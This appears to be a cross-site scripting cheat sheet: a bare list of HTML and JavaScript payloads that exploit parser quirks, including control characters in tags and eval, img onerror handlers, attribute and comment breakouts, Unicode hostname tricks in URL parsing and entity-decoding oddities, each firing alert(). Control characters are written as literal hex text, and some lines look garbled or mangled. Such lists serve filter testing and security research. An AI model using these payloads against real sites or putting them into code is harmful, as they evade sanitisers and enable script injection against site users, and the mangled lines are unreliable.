Cheat Sheet

<0x00h1>sample</h1>

<img0x00onerror=alert() src=x />

prompt?.();alert(63)

alert0x09();alert(9)

alert
();alert(10)

alert0x0B();alert(11)

alert0x0C();alert(12)

alert0x0D();alert(13)

eval('0x09alert(9)0x09')

eval('0x0Balert(11)0x0B')

eval('0x0Calert(12)0x0C')

eval(' alert(32) ')

eval(';alert(59);')

<div a="><!-- "></div><img src=x:x onerror=alert(34) -->

<div a='><!-- '></div><img src=x:x onerror=alert(39) -->

<div 0x09="><img src=x:x onerror=alert(9)>"></div>

<div 
="><img src=x:x onerror=alert(10)>"></div>

<div 0x0C="><img src=x:x onerror=alert(12)>"></div>

<div 0x0D="><img src=x:x onerror=alert(13)>"></div>

<div  ="><img src=x:x onerror=alert(32)>"></div>

<div a="><!-- "></div><img src=x:x onerror=alert(34) -->

<div a='><!-- '></div><img src=x:x onerror=alert(39) -->

if (new URL("https://" + String.fromCodePoint(91) + "::ffff:7f00:1]/").hostname === '[::ffff:7f00:1]'){alert(91)}

if (new URL("https://" + String.fromCodePoint(65095) + "::ffff:7f00:1]/").hostname === '[::ffff:7f00:1]'){alert(65095)}

if (new URL("https://" + String.fromCodePoint(65339) + "::ffff:7f00:1]/").hostname === '[::ffff:7f00:1]'){alert(65339)}

"0x091337"==1337&&alert(9)

"0x0B1337"==1337&&alert(11)

"0x0C1337"==1337&&alert(12)

" 1337"==1337&&alert(32)

"+1337"==1337&&alert(43)

({"x\0x0D0x0D
":1337}.x)==1337&&alert(13)

"x\
"==="x" && alert(10)

"x\0x0D"==="x" && alert(13)

"x\
"==="x" && alert(8232)

"x\
"==="x" && alert(8233)

<img src=data: onerror="1&gt alert(65279)">

<img src=data: onerror="1&gt
 alert(8232)">

<img src=data: onerror="1&gt> alert(62)">

<img src=data: onerror="1&gt~ alert(126)">

<img src=data: onerror="1&gt　 alert(12288)">

<form id="test" action="aaa0x00onsubmit=alert(1)><input/type='submit'>0x0D

<img src=data: onerror="1&amp-alert(45)">

<img src=data: onerror="1&amp
alert(10)">

<img src=data: onerror="1&amp alert(8201)">

<img src=data: onerror="1&amp alert(8192)">

<img src=data: onerror="1&amp alert(8195)">

<img src="0x00<iframe><!--">

<div id="test" style="⟦00⟧onload="alert(1)">hello</div>

<img src="/image.png" tag="0x00><iframe><!--">

<div id="test" style='0x00onload="alert(1)">hello</div>

var targets=['"','\'','<','/','>','\\']0x0D
if (targets.includes('0x00'.toUpperCase())) {0x0D
    alert(0+' (normal) (0x00 -> '+"0x00".toUpperCase()+')')0x0D
}0x0D
0x0D
if (targets.includes('0x00'.toLocaleUpperCase())) {0x0D
    alert(0+' (locale) (0x00 -> '+"0x00".toLocaleUpperCase()+')')0x0D
}